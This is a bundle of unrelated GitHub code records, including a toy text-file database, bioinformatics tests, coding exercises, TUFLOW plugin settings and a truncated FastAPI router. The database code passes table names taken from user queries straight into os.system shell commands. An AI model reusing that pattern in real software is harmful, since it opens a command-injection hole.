filename = currDB + '/' + tbName + '.new.txt'\n os.system(f\"touch {filename}\")\n overwriteFile()\n c.append(f\"rm {currDB}/{tbName}.txt\")\n c.append(f\"mv {currDB}/{tbName}.new.txt {currDB}/{tbName}.txt\")\n else:\n # Overwriting the file\n os.system(f'truncate -s 0 {filename}.txt')\n overwriteFile()\n print(f\"{mods} record(s) modified in {tbName}.\")\n else:\n print(f\"Error: Table {tbName} is locked!\")\n else:\n print(f\"!Failed to update values in {tbName} because it does not exist.\")\n else:\n print(\"Please select database to use.\")\n\n# Removes a record from the table\ndef deleteTuple(UserQuery, currDB, isLocked, u, c):\n tbInput = db.inputCleaner(\"delete from \", UserQuery)\n\n tbName = tbInput.split()[0] # Gets table name\n whereColumn = tbInput.split()[2] # Gets \"where\" column\n whereRecord = tbInput.split()[4] #.replace(\"'\", \"\") # Gets \"where\" record\n\n operand = db.getOperand(tbInput.split()[3])\n\n def overwriteFileWithDeletes():\n f = open(filename, 'w')\n for line in tempFile:\n if (line != None):\n f.write(line)\n f.close()\n\n if (currDB != None):\n if db.tableCheck(tbName, currDB) == 1:\n if isLocked == 0:\n filename = currDB + '/' + tbName + '.txt'\n\n f = open(filename, 'r')\n tempFile = f.readlines()\n f.close()\n\n count = 0\n mods = 0\n whereColumnNum = 0\n for line in tempFile:\n if (count == 0): # Headers\n columnList = line.split()\n del columnList[1::3]\n whereColumnNum = columnList.index(whereColumn)\n if (count > 0): # Values\n tupleDetails = line.split()\n\n # Finds selected rows and deletes them\n def deleteTupleHelper(mods):\n if (operand == 0): # Equality\n if (type(tupleDetails[whereColumnNum]) is str):\n if (tupleDetails[whereColumnNum] == whereRecord):\n tempFile[count] = None\n mods += 1\n\n elif (type(tupleDetails[whereColumnNum]) is not str):\n if (float(tupleDetails[whereColumnNum]) == float(whereRecord)):\n tempFile[count] = None\n mods += 1\n\n elif (operand == 1): # Greater than\n if (float(tupleDetails[whereColumnNum]) > float(whereRecord)):\n tempFile[count] = None\n mods += 1\n\n elif (operand == -1): # Less than\n if (float(tupleDetails[whereColumnNum]) < float(whereRecord)):\n tempFile[count] = None\n mods += 1\n\n return mods\n mods = deleteTupleHelper(mods)\n count += 1\n \n if u:\n filename = currDB + '/' + tbName + '.new.txt'\n os.system(f\"touch {filename}\")\n overwriteFileWithDeletes()\n c.append(f\"rm {currDB}/{tbName}.txt\")\n c.append(f\"mv {currDB}/{tbName}.new.txt {currDB}/{tbName}.txt\")\n else:\n # Overwrites the file\n os.system(f'truncate -s 0 {currDB}/{tbName}.txt')\n overwriteFileWithDeletes() \n\n print(f\"{mods} record(s) removed in {tbName}.\")\n else:\n print(f\"Error: Table {tbName} is locked!\")\n else:\n print(f\"!Failed to remove values in {tbName} because it does not exist.\")\n else:\n print(\"Please select database to use.\")","repo_name":"Chiang-Andy/PA-4-Transactions","sub_path":"table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":6438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1180793343","text":"from unittest import TestCase\n\nimport ahocorasick\n\nfrom dark.reads import AARead\n\nfrom light.features import Landmark\nimport light.landmarks.ac_extended_strand\nfrom light.landmarks import AC_ExtendedStrand\nfrom light.parameters import DatabaseParameters\n\n\ndef setExtendedStrands(strands):\n \"\"\"\n Make an Aho Corasick matcher for the given strands and monkey patch\n light.landmarks.ac_extended_strand to use it.\n Also set the acExtendedStrandFilename database parameter to 'xxx', to make\n sure that the right Aho Corasick matcher is used.\n\n This function is used by tests that want to check against a specific\n set of strands instead of the full set.\n\n @param strands: An iterable of C{str} strand sequences.\n\n @return: A C{light.landmarks.ac_extended_strand} instance with its\n acExtendedStrandFilename set to 'xxx'.\n \"\"\"\n ac = ahocorasick.Automaton(ahocorasick.STORE_LENGTH)\n\n if ahocorasick.unicode:\n add = ac.add_word\n else:\n # The Aho Corasick module has been compiled without unicode\n # support, to reduce its memory use. Arrange to give it bytes.\n def add(s):\n \"\"\"\n Add a string to an Aho Corasick automaton as bytes.\n\n @param s: A C{str} to add.\n \"\"\"\n ac.add_word(s.encode('utf-8'))\n\n list(map(add, strands))\n ac.make_automaton()\n light.landmarks.ac_extended_strand._AC = ac\n dbParams = DatabaseParameters(acExtendedStrandFilename='xxx')\n return AC_ExtendedStrand(dbParams)\n\n\nclass TestACExtendedStrand(TestCase):\n \"\"\"\n Tests for the light.landmarks.ac_extended_strand.AC_ExtendedStrand class.\n \"\"\"\n def setUp(self):\n \"\"\"\n Keep track of the original Aho Corasick matcher and stored filename so\n we can restore them after each test. This allows tests to install their\n own matcher and filename without breaking things for tests that want to\n use the original.\n \"\"\"\n self.originalAC = light.landmarks.ac_extended_strand._AC\n self.originalFile = \\\n light.landmarks.ac_extended_strand._STORED_AC_FILENAME\n\n def tearDown(self):\n \"\"\"\n Restore the original Aho Corasick state machine.\n \"\"\"\n light.landmarks.ac_extended_strand._AC = self.originalAC\n light.landmarks.ac_extended_strand._STORED_AC_FILENAME = \\\n self.originalFile\n\n def testFindNothing(self):\n \"\"\"\n The find method must return an empty generator when no strand is\n present.\n \"\"\"\n finder = setExtendedStrands(['XXX', 'YYY'])\n read = AARead('id', 'FRFRFRFRFRFRFRFRFRFF')\n result = list(finder.find(read))\n self.assertEqual([], result)\n\n def testFullMatch(self):\n \"\"\"\n The find method must return the full read sequence when it fully\n matches an extended strand.\n \"\"\"\n finder = setExtendedStrands(['FFFF'])\n read = AARead('id', 'FFFF')\n result = list(finder.find(read))\n self.assertEqual([Landmark('AC ExtendedStrand', 'ACES', 0, 4)], result)\n\n def testFindContiguousMatches(self):\n \"\"\"\n The find method must find matches that are contiguous.\n \"\"\"\n finder = setExtendedStrands(['RRR', 'FFF'])\n read = AARead('id', 'FFFRRR')\n result = list(finder.find(read))\n self.assertEqual(\n [\n Landmark('AC ExtendedStrand', 'ACES', 0, 3),\n Landmark('AC ExtendedStrand', 'ACES', 3, 3),\n ],\n sorted(result))\n\n def testFindSeparatedMatches(self):\n \"\"\"\n The find method must find matches that are separated.\n \"\"\"\n finder = setExtendedStrands(['RRRRR', 'FFF'])\n read = AARead('id', 'FFFMMRRRRR')\n result = list(finder.find(read))\n self.assertEqual(\n [\n Landmark('AC ExtendedStrand', 'ACES', 0, 3),\n Landmark('AC ExtendedStrand', 'ACES', 5, 5),\n ],\n sorted(result))\n\n def testFindPartiallyOverlappingMatches(self):\n \"\"\"\n The find method must return overlapping strands.\n \"\"\"\n finder = setExtendedStrands(['FFFFR', 'FRMMM'])\n read = AARead('id', 'FFFFRMMM')\n result = list(finder.find(read))\n self.assertEqual(\n [\n Landmark('AC ExtendedStrand', 'ACES', 0, 5),\n Landmark('AC ExtendedStrand', 'ACES', 3, 5),\n ],\n sorted(result))\n\n def testFindCompletelyOverlappingMatches(self):\n \"\"\"\n The find method must return all strands, including those that overlap.\n \"\"\"\n finder = setExtendedStrands(['FF', 'FFF'])\n read = AARead('id', 'FFF')\n result = list(finder.find(read))\n self.assertEqual(\n [\n Landmark('AC ExtendedStrand', 'ACES', 0, 2),\n Landmark('AC ExtendedStrand', 'ACES', 0, 3),\n Landmark('AC ExtendedStrand', 'ACES', 1, 2),\n ],\n sorted(result))\n\n def testFindUsingBuiltInExtendedStrands(self):\n \"\"\"\n The find method must be able to find strands in the default extended\n strand substring file loaded by light/landmarks/ac_extended_strand.py\n (in data/ac-extended-strand-substrings-10-0.5).\n \"\"\"\n read = AARead('id', 'RCELARTLKRFCCC')\n finder = AC_ExtendedStrand()\n result = list(finder.find(read))\n self.assertEqual(\n [\n Landmark('AC ExtendedStrand', 'ACES', 9, 4),\n Landmark('AC ExtendedStrand', 'ACES', 10, 4),\n ],\n sorted(result))\n","repo_name":"acorg/light-matter","sub_path":"test/landmarks/test_ac_extended_strand.py","file_name":"test_ac_extended_strand.py","file_ext":"py","file_size_in_byte":5667,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"42179704730","text":"import math\r\n\r\nnum = input()\r\ncount = [0 for col in range(10)]\r\nfor i in range(len(num)):\r\n for j in range(10):\r\n if num[i] == str(j):\r\n count[j] += 1\r\n\r\ncount[6] += count[9]\r\ncount[6] = math.ceil(int(count[6])/2)\r\ncount[9] = 0\r\n\r\nres = max(count)\r\nprint(res)","repo_name":"amazon8/pps_2023_winterBreak","sub_path":"1주차(~12.31)/1주차(~12.31)/A017_양병훈_20221231.py3","file_name":"A017_양병훈_20221231.py3","file_ext":"py3","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"43475641654","text":"import employee\n\nclass Company:\n\n\tdef __init__(self,name):\n\t\tself.name = name\n\t\tprint (f'\\n\\n#######################')\n\t\tprint (f'The Company {self.name} was created.')\n\t\tprint (f'#######################\\n\\n\\n')\n# check if input is int and > 0\n\tdef numberinput(self, message):\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tuserinput = int(input(message))\n\t\t\t\tif userinput <= 0:\n\t\t\t\t\tprint (\"Please use value bigger than 0\\n\")\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\treturn int(userinput)\n\t\t\texcept ValueError:\n\t\t\t\tprint(\"The value has to be integer! Please try again\\n\")\n\t\t\telse:\n\t\t\t\treturn int(userinput)\n\n# hiring new employee\n\tdef hire_new(self):\n\t\tprint(\"\\nWhat is his/her name?\")\n\t\twhile True:\n\t\t\tnew_name = input()\n\t\t\tif new_name.isalpha():\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint(\"Please use only letters and no spaces, try again\")\n\n\t\tprint ('\\nWhat is his/her position? (1-4)\\n1. Hourly Employee\\n2. Salaried Employee\\n3. Manager\\n4. Executive\\n')\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tnew_pos = int(input())\n\t\t\t\tif new_pos < 1 or new_pos > 4:\n\t\t\t\t\tprint(\"Use only the provided selections\")\n\t\t\t\telse:\n\t\t\t\t\tbreak\n\t\t\texcept:\n\t\t\t\tprint('Invalid input.')\n\t\tif new_pos == 1:\n\t\t\t# new_hour_rate = int(input(\"What will be his/her hour rate?\"))\n\t\t\tnew_hour_rate = self.numberinput('What will be his/her hour rate')\n\t\t\tnew_working_time = self.numberinput(\"How many hours will he work per week?\")\n\t\t\tnew_emp = employee.HourlyEmployee(new_name, new_hour_rate, new_working_time)\n\t\t\tprint(f\"You hired new employee - {new_name} on a position -> {new_emp.position}\")\n\t\t\t\n\t\telif new_pos == 2:\n\t\t\tnew_salary = self.numberinput(\"What will be his/her salary?\")\n\t\t\tnew_emp = employee.SalariedEmployee(new_name, new_salary)\n\t\t\tprint(f\"You hired new employee - {new_name} on a position -> {new_emp.position}\")\n\t\telif new_pos == 3:\n\t\t\tnew_salary = self.numberinput(\"What will be his/her salary?\")\n\t\t\tnew_commission = self.numberinput(\"What will be his/her commission?\")\n\t\t\tnew_emp = employee.Manager(new_name, new_salary, new_commission)\n\t\t\tprint(f\"You hired new employee - {new_name} on a position -> {new_emp.position}\")\n\t\telif new_pos == 4:\n\t\t\tnew_salary = self.numberinput(\"What will be his/her salary?\")\n\t\t\tnew_commission = self.numberinput(\"What will be his/her commission?\")\n\t\t\tnew_emp = employee.Executive(new_name, new_salary, new_commission)\n\t\t\tprint(f\"You hired new employee - {new_name} on a position -> {new_emp.position}\")\n\t\telse:\n\t\t\tpass\n\n\t\treturn new_emp\n# method to fire employee (need to input proper name)\n\tdef fire_employee(self, list_of_emps):\n\t\tnumber = -1\n\t\tfor x in range(len(list_of_emps)):\n\t\t\tprint (list_of_emps[x].employee_name)\n\n\t\tprint(\"\\nPlease input name of employee you want to fire: \")\n\t\twhile True:\n\t\t\tname = input()\n\t\t\tif name.isalpha():\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint(\"Please use only letters and no spaces, try again.\")\n\t\t\t\t\n\t\tfor i in range(len(list_of_emps)):\n\t\t\tif list_of_emps[i].employee_name == name:\n\t\t\t\tprint (f\"\\n\\n{list_of_emps[i].employee_name} is FIRED!\")\n\t\t\t\tprocess = True\n\t\t\t\tnumber = i\n\t\t\t\tbreak\t\n\t\t\telse:\n\t\t\t\tprocess = False\n\n\t\tif process == False:\n\t\t\tprint (f\"\\n\\nThere is no employee {name} in this company\")\n\n\t\treturn number\n\n\tdef rise_employee(self, emp_list,emp_dict):\n\t\tprint(\"\\nOkey. Who should get promotion?\")\n\t\tfor x in range(len(emp_list)):\n\t\t\tprint (emp_list[x].employee_name)\n\t\tcheck = 0\n\t\tprint(\"\\nPlease input name of employee: \")\n\t\twhile True:\n\t\t\tname = input()\n\t\t\tif name.isalpha():\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint(\"Please use only letters and no spaces, try again.\")\n\n\t\tfor i in range(len(emp_list)):\n\t\t\tif emp_list[i].employee_name == name and emp_list[i].position == 'Hourly Employee':\n\t\t\t\tnew_salary = self.numberinput(\"Provide new salary after promotion to Salaried Employee (per week)\")\n\t\t\t\tnew_name = name\n\t\t\t\tnew_emp = employee.SalariedEmployee(name, new_salary)\n\t\t\t\temp_list.insert(i+1,new_emp)\n\t\t\t\temp_dict.update({new_emp.employee_name:new_emp.position})\n\t\t\t\tdel emp_list[i]\n\t\t\t\tdel emp_dict[name]\n\t\t\t\tprint(f\"{new_emp.employee_name} has been promoted to Salaried Employee!\")\n\t\t\t\tbreak\n\t\t\telif emp_list[i].employee_name == name and emp_list[i].position == 'Salaried Employee':\n\t\t\t\tnew_salary = self.numberinput(\"Provide new salary after promotion to Manager (per week)\")\n\t\t\t\tnew_commission = self.numberinput (\"Provide commission for Manager: \")\n\t\t\t\tnew_name = name\n\t\t\t\tnew_emp = employee.Manager(new_name,new_salary,new_commission)\n\t\t\t\temp_list.insert(i+1,new_emp)\n\t\t\t\temp_dict.update({new_emp.employee_name:new_emp.position})\n\t\t\t\tdel emp_list[i]\n\t\t\t\tdel emp_dict[name]\n\t\t\t\tprint(f\"{new_emp.employee_name} has been promoted to Manager!\")\n\t\t\t\tbreak\n\t\t\telif emp_list[i].employee_name == name and emp_list[i].position == 'Manager':\n\t\t\t\tnew_salary = self.numberinput(\"Provide new salary after promotion to Executive (per week)\")\n\t\t\t\tnew_commission = self.numberinput (\"Provide commission for Executive: \")\n\t\t\t\tnew_name = name\n\t\t\t\tnew_emp = employee.Executive(new_name,new_salary,new_commission)\n\t\t\t\temp_list.insert(i+1,new_emp)\n\t\t\t\temp_dict.update({new_emp.employee_name:new_emp.position})\n\t\t\t\tdel emp_list[i]\n\t\t\t\tdel emp_dict[name]\n\t\t\t\tprint(f\"{new_emp.employee_name} has been promoted to Executive!\")\n\t\t\t\tbreak\n\t\t\telif emp_list[i].employee_name == name and emp_list[i].position == 'Executive':\n\t\t\t\tprint(f\"You can not raise {emp_list[i].employee_name} any higher!\")\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tcheck += 1\n\t\t\t\tcontinue\n\n\t\tif check == len(emp_list):\n\t\t\tprint(f'There is no employee {name} in this company.')\n\t\t\tinput(\"\\nPress Enter to continue...\")\n\n\n","repo_name":"niwgnip/Company_Manager","sub_path":"comp.py","file_name":"comp.py","file_ext":"py","file_size_in_byte":5454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35892741572","text":"from hashlib import sha256\nimport secrets\n\n\nNOTIFICATION_TYPES = [\n ('follow', 'Follow'),\n ('comment', 'Comment'),\n ('reply', 'Reply'),\n ('vote', 'Vote'),\n]\nNOTIFICATION_STATUS = [\n ('read', 'Read'),\n ('unread', 'Unread'),\n]\n\n\ndef upload_avatar_to(instance, filename):\n return f\"avatars/{instance.user.username}/{filename}\"\n\ndef generate_key(email):\n enc_email = sha256(email.encode()).digest().hex()\n rand_txt = secrets.token_hex(15)\n key = enc_email + rand_txt\n if len(key) > 250:\n return key[:250]\n return key\n","repo_name":"shoukreytom/blog","sub_path":"backend/users/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"22457009238","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'bonAppetit' function below.\n#\n# The function accepts following parameters:\n# 1. INTEGER_ARRAY bill\n# 2. INTEGER k\n# 3. INTEGER b\n#\n\n\ndef bonAppetit(bill, k, b):\n \"\"\"Bill Division solution\n\n Parameters\n ----------\n bill : array-like\n An array of integers representing the cost of each item ordered.\n\n k : int\n An integer representing the zero-based index of the item\n Anna doesn't eat.\n\n b : int\n The amount of money that Anna contributed to the bill.\n\n Returns\n -------\n\n \"\"\"\n _ = bill.pop(k)\n actual_bill = sum(bill) // 2\n if b == actual_bill:\n return \"Bon Appetit\"\n else:\n return b - actual_bill\n\n\nif __name__ == \"__main__\":\n first_multiple_input = input().rstrip().split()\n\n n = int(first_multiple_input[0])\n\n k = int(first_multiple_input[1])\n\n bill = list(map(int, input().rstrip().split()))\n\n b = int(input().strip())\n\n print(bonAppetit(bill, k, b))\n","repo_name":"yehuihe/HackerRank","sub_path":"Problem Solving/Algorithms/bill_division.py","file_name":"bill_division.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2897185433","text":"from PyQt5.QtCore import QSettings\nfrom qgis.core import QgsProject\n\nclass stored():\n\tdef __init__(self):\n\t\tself.CRS_ID = None\n\t\tself.tf_exe = None\n\t\tself.base_dir = None\n\t\tself.engine = None\n\t\tself.tutorial = None\n\t\tself.empty_dir = None\n\nclass TF_Settings():\n\tdef __init__(self):\n\t\tself.project_settings = stored()\n\t\tself.global_settings = stored()\n\t\tself.combined = stored()\n\t\tself.settings = QSettings()\n\t\tself.project = QgsProject.instance()\n\t\n\tdef Load(self):\n\t\terror = False\n\t\tmessage = None\n\t\t\n\t\t# load gloabal settings\n\t\ttry:\n\t\t\tself.global_settings.CRS_ID = self.settings.value(\"TUFLOW/CRS\", \"Undefined\")\n\t\t\tself.global_settings.tf_exe = self.settings.value(\"TUFLOW/exe\", \"Undefined\")\n\t\t\tself.global_settings.base_dir = self.settings.value(\"TUFLOW/dir\", \"Undefined\")\n\t\t\tself.global_settings.engine = self.settings.value('TUFLOW/engine', None)\n\t\t\tself.global_settings.tutorial = self.settings.value('TUFLOW/tutorial', None)\n\t\t\tself.global_settings.empty_dir = self.settings.value('TUFLOW/empty_dir', None)\n\t\texcept:\n\t\t\terror = True\n\t\t\tmessage = 'Unable to load global setting'\n\t\t\treturn error, message\n\t\t\n\t\t#set to None type if not defined\n\t\tif self.global_settings.CRS_ID==\"Undefined\":\n\t\t\tself.global_settings.CRS_ID = None\n\t\tif self.global_settings.tf_exe==\"Undefined\":\n\t\t\tself.global_settings.tf_exe = None\n\t\tif self.global_settings.base_dir==\"Undefined\":\n\t\t\tself.global_settings.base_dir = None\n\t\t\n\t\t#load project settings\n\t\ttry:\n\t\t\tself.project_settings.CRS_ID = self.project.readEntry(\"TUFLOW\",\"CRS\",\"Undefined\")[0]\n\t\t\tself.project_settings.tf_exe = self.project.readEntry(\"TUFLOW\",\"exe\",\"Undefined\")[0]\n\t\t\tself.project_settings.base_dir = self.project.readEntry(\"TUFLOW\",\"dir\",\"Undefined\")[0]\n\t\t\tself.project_settings.engine = self.project.readEntry(\"TUFLOW\", \"engine\", None)[0]\n\t\t\tself.project_settings.tutorial = self.project.readEntry(\"TUFLOW\", 'tutorial', '')[0]\n\t\t\tself.project_settings.empty_dir = self.project.readEntry(\"TUFLOW\", 'empty_dir', '')[0]\n\t\texcept:\n\t\t\terror = True\n\t\t\tmessage = 'Unable to load project setting'\n\t\t\treturn error, message\n\t\t#set to None type if not defined\n\t\tif self.project_settings.CRS_ID==\"Undefined\":\n\t\t\tself.project_settings.CRS_ID = None\n\t\tif self.project_settings.tf_exe==\"Undefined\":\n\t\t\tself.project_settings.tf_exe = None\n\t\tif self.project_settings.base_dir==\"Undefined\":\n\t\t\tself.project_settings.base_dir = None\n\t\tif not self.project_settings.tutorial:\n\t\t\tself.project_settings.tutorial = None\n\t\t\t\n\t\t#normal return\n\t\ttry:\n\t\t\tself.Combine()\n\t\texcept:\n\t\t\tmessage = \"Unable to combine global and project settings\"\n\t\t\terror = True\n\t\treturn error, message\n\t\t\n\tdef Save_Global(self):\n\t\terror = False\n\t\tmessage = None\n\t\ttry:\n\t\t\tif self.global_settings.CRS_ID: #don't save if None\n\t\t\t\tself.settings.setValue(\"TUFLOW/CRS\", self.global_settings.CRS_ID)\n\t\t\tif self.global_settings.tf_exe:\n\t\t\t\tself.settings.setValue(\"TUFLOW/exe\", self.global_settings.tf_exe)\n\t\t\tif self.global_settings.base_dir:\n\t\t\t\tself.settings.setValue(\"TUFLOW/dir\", self.global_settings.base_dir)\n\t\t\tif self.global_settings.engine:\n\t\t\t\tself.settings.setValue(\"TUFLOW/engine\", self.global_settings.engine)\n\t\t\tif self.global_settings.tutorial:\n\t\t\t\tself.settings.setValue('TUFLOW/tutorial', self.global_settings.tutorial)\n\t\t\tif self.global_settings.empty_dir:\n\t\t\t\tself.settings.setValue(\"TUFLOW/empty_dir\", self.global_settings.empty_dir)\n\t\texcept:\n\t\t\terror = True\n\t\t\tmessage = 'Unable to save global settings'\n\t\treturn error, message\n\t\n\tdef Save_Project(self):\n\t\terror = False\n\t\tmessage = None\n\t\ttry:\n\t\t\n\t\t\tif self.project_settings.CRS_ID:\n\t\t\t\tself.project.writeEntry(\"TUFLOW\", \"CRS\", self.project_settings.CRS_ID)\n\t\t\tif self.project_settings.tf_exe:\n\t\t\t\tself.project.writeEntry(\"TUFLOW\", \"exe\", self.project_settings.tf_exe)\n\t\t\tif self.project_settings.base_dir:\n\t\t\t\tself.project.writeEntry(\"TUFLOW\", \"dir\", self.project_settings.base_dir)\n\t\t\tif self.project_settings.engine:\n\t\t\t\tself.project.writeEntry(\"TUFLOW\", \"engine\", self.project_settings.engine)\n\t\t\tif self.project_settings.tutorial:\n\t\t\t\tself.project.writeEntry(\"TUFLOW\", 'tutorial', self.project_settings.tutorial)\n\t\t\tif self.project_settings.empty_dir:\n\t\t\t\tself.project.writeEntry(\"TUFLOW\", \"empty_dir\", self.project_settings.empty_dir)\n\t\texcept:\n\t\t\terror = True\n\t\t\tmessage = 'Unable to save project data'\n\t\treturn error, message\n\t\t\n\tdef Combine(self): #if project settings use these, else fall back to global settings\n\t\t#exe\n\t\tif self.project_settings.tf_exe:\n\t\t\tself.combined.tf_exe = self.project_settings.tf_exe\n\t\telif self.global_settings.tf_exe:\n\t\t\tself.combined.tf_exe = self.global_settings.tf_exe\n\t\telse:\n\t\t\tself.combined.tf_exe = None\n\t\t#CRS\n\t\tif self.project_settings.CRS_ID:\n\t\t\tself.combined.CRS_ID = self.project_settings.CRS_ID\n\t\telif self.global_settings.CRS_ID:\n\t\t\tself.combined.CRS_ID = self.global_settings.CRS_ID\n\t\telse:\n\t\t\tself.combined.CRS_ID = None\n\t\t#dir\n\t\tif self.project_settings.base_dir:\n\t\t\tself.combined.base_dir = self.project_settings.base_dir\n\t\telif self.global_settings.base_dir:\n\t\t\tself.combined.base_dir = self.global_settings.base_dir\n\t\telse:\n\t\t\tself.combined.base_dir = None\n\t\t\t\n\t\t# engine\n\t\tif self.project_settings.engine:\n\t\t\tself.combined.engine = self.project_settings.engine\n\t\telif self.global_settings.engine:\n\t\t\tself.combined.engine = self.global_settings.engine\n\t\telse:\n\t\t\tself.combined.engine = None\n\t\t\t\n\t\t# tutorial\n\t\tif self.project_settings.tutorial:\n\t\t\tif self.project_settings.tutorial == 'True':\n\t\t\t\tself.combined.tutorial = True\n\t\t\telse:\n\t\t\t\tself.combined.tutorial = False\n\t\telif self.global_settings.tutorial:\n\t\t\tself.combined.tutorial = self.global_settings.tutorial\n\t\telse:\n\t\t\tself.combined.tutorial = None\n\t\t# empty dir\n\t\tif self.project_settings.empty_dir:\n\t\t\tself.combined.empty_dir = self.project_settings.empty_dir\n\t\telif self.global_settings.base_dir:\n\t\t\tself.combined.empty_dir = self.global_settings.empty_dir\n\t\telse:\n\t\t\tself.combined.empty_dir = None\n\t\t\t\n\tdef get_last_exe(self):\n\t\terror = False\n\t\tlast_exe = None\n\t\ttry:\n\t\t\tlast_exe = self.settings.value(\"TUFLOW/last_exe\", \"Undefined\")\n\t\texcept:\n\t\t\tlast_exe = \"Undefined\"\n\t\treturn last_exe\n\t\t\n\tdef save_last_exe(self,last_exe):\n\t\terror = False\n\t\tmessage = None\n\t\tif last_exe:\n\t\t\ttry:\n\t\t\t\tself.settings.setValue(\"TUFLOW/last_exe\", last_exe)\n\t\t\texcept:\n\t\t\t\terror = True\n\t\t\t\tmessage = 'Unable to save last executbale to settings'\n\t\t\t\t#return error, message\n\t\telse:\n\t\t\terror = True\n\t\t\tmessage = 'last exe is None and was not saved.'\n\t\t\t#return error, message\n\t\t\n\n\tdef get_last_mi_folder(self):\n\t\terror = False\n\t\tlast_mi = None\n\t\ttry:\n\t\t\tlast_mi = self.settings.value(\"TUFLOW/last_mi_folder\", \"Undefined\")\n\t\texcept:\n\t\t\tlast_mi = \"Undefined\"\n\t\treturn last_mi\n\t\t\n\tdef save_last_mi_folder(self,last_mi):\n\t\terror = False\n\t\tmessage = None\n\t\tif last_mi:\n\t\t\ttry:\n\t\t\t\tself.settings.setValue(\"TUFLOW/last_mi_folder\", last_mi)\n\t\t\texcept:\n\t\t\t\terror = True\n\t\t\t\tmessage = 'Unable to save last executbale to settings'\n\t\t\t\t#return error, message\n\t\telse:\n\t\t\terror = True\n\t\t\tmessage = 'last mifolder is None and was not saved.'\n\t\t\t#return error, message\n\t\t\t\n\tdef get_last_chk_folder(self):\n\t\terror = False\n\t\tlast_chk = None\n\t\ttry:\n\t\t\tlast_chk = self.settings.value(\"TUFLOW/last_chk_folder\", \"Undefined\")\n\t\texcept:\n\t\t\tlast_chk = \"Undefined\"\n\t\treturn last_chk\n\t\t\n\tdef save_last_chk_folder(self,last_chk):\n\t\terror = False\n\t\tmessage = None\n\t\tif last_chk:\n\t\t\ttry:\n\t\t\t\tself.settings.setValue(\"TUFLOW/last_chk_folder\", last_chk)\n\t\t\texcept:\n\t\t\t\terror = True\n\t\t\t\tmessage = 'Unable to save last check folder to settings'\n\t\t\t\t#return error, message\n\t\telse:\n\t\t\terror = True\n\t\t\tmessage = 'last_chk_folder is None and was not saved.'\n\t\t\t#return error, message\n\t\n\tdef get_last_run_folder(self):\n\t\terror = False\n\t\tlast_run = None\n\t\ttry:\n\t\t\tlast_run = self.settings.value(\"TUFLOW/last_run_folder\", \"Undefined\")\n\t\texcept:\n\t\t\tlast_run = \"Undefined\"\n\t\treturn last_run\n\t\t\n\tdef save_last_run_folder(self,last_run):\n\t\terror = False\n\t\tmessage = None\n\t\tif last_run:\n\t\t\ttry:\n\t\t\t\tself.settings.setValue(\"TUFLOW/last_run_folder\", last_run)\n\t\t\texcept:\n\t\t\t\terror = True\n\t\t\t\tmessage = 'Unable to save last run folder to settings'\n\t\t\t\t#return error, message\n\t\telse:\n\t\t\terror = True\n\t\t\tmessage = 'last_chk_folder is None and was not saved.'\n\t\t\t\n\tdef get_last_arr_outFolder(self):\n\t\terror = False\n\t\tlast_chk = None\n\t\ttry:\n\t\t\tlast_arr = self.settings.value(\"TUFLOW/last_arr_outFolder\", \"Undefined\")\n\t\texcept:\n\t\t\tlast_arr = \"Undefined\"\n\t\treturn last_arr\n\t\t\t\n\tdef save_last_arr_outFolder(self, last_arr):\n\t\terror = False\n\t\tmessage = None\n\t\tif last_arr:\n\t\t\ttry:\n\t\t\t\tself.settings.setValue(\"TUFLOW/last_arr_outFolder\", last_arr)\n\t\t\texcept:\n\t\t\t\terror = True\n\t\t\t\tmessage = 'Unable to save last output folder to settings'\n\t\t\t\t#return error, message\n\t\telse:\n\t\t\terror = True\n\t\t\tmessage = 'last_arr_folder is None and was not saved.'\n\t\t\t#return error, message","repo_name":"TUFLOW-Support/QGIS-TUFLOW-Plugin","sub_path":"tuflow/tuflowqgis_settings.py","file_name":"tuflowqgis_settings.py","file_ext":"py","file_size_in_byte":8784,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"62"} +{"seq_id":"74423157957","text":"from fastapi import APIRouter, Depends, HTTPException\nfrom fastapi.encoders import jsonable_encoder\nfrom sqlalchemy.orm import Session\nfrom starlette import status\nfrom starlette.requests import Request\n\nfrom config import get_env\nfrom datetime import datetime\nfrom enum import Enum\n\nfrom app.db.connection import db\nfrom app.models.board import Post, Comment, Best, Series, Recommend\nfrom app.api import crud as c\nfrom app import schemas\nfrom app.utils import (\n board_utils as b_ut,\n utils as ut\n)\n\n\nboard = APIRouter()\n\n\n\"\"\"\n 1. 나중에 로그인 만들고 나서 middleware 에서 request.state.id 를 받아 온다면 \n post, comment 수정 삭제 등은 검색할 때 user_id 를 같이 검색해야 한다.\n\n 2. 나중에 board_name, post_id 오면 일일이 다 검색하지 말고 post_id 를 검색하고 나서 그냥 연결해서 \n post.board.name == board_name 이런식으로 연결해서 하자. 그게 훨씬 데이터 상으로 이득일거 같다.\n\n ### cascade 의 연결된 것들을 다 지우기 위해서는 relationship(\"Best\", back_populates=\"post\", uselist=False, cascade=\"all, delete\") 가 되야함\n\n 3. 게시글 읽기 - 조회수 중복 막기 (session id 를 이용하여 redis 로 하자. - 나중에)\n 4. relationship order_by 를 이용해서 하는것을 한번 찾아보자.\n\"\"\"\n\n\"\"\"\n enum\n\"\"\"\nclass RecommendType(str, Enum):\n like: str = \"like\"\n dislike: str = 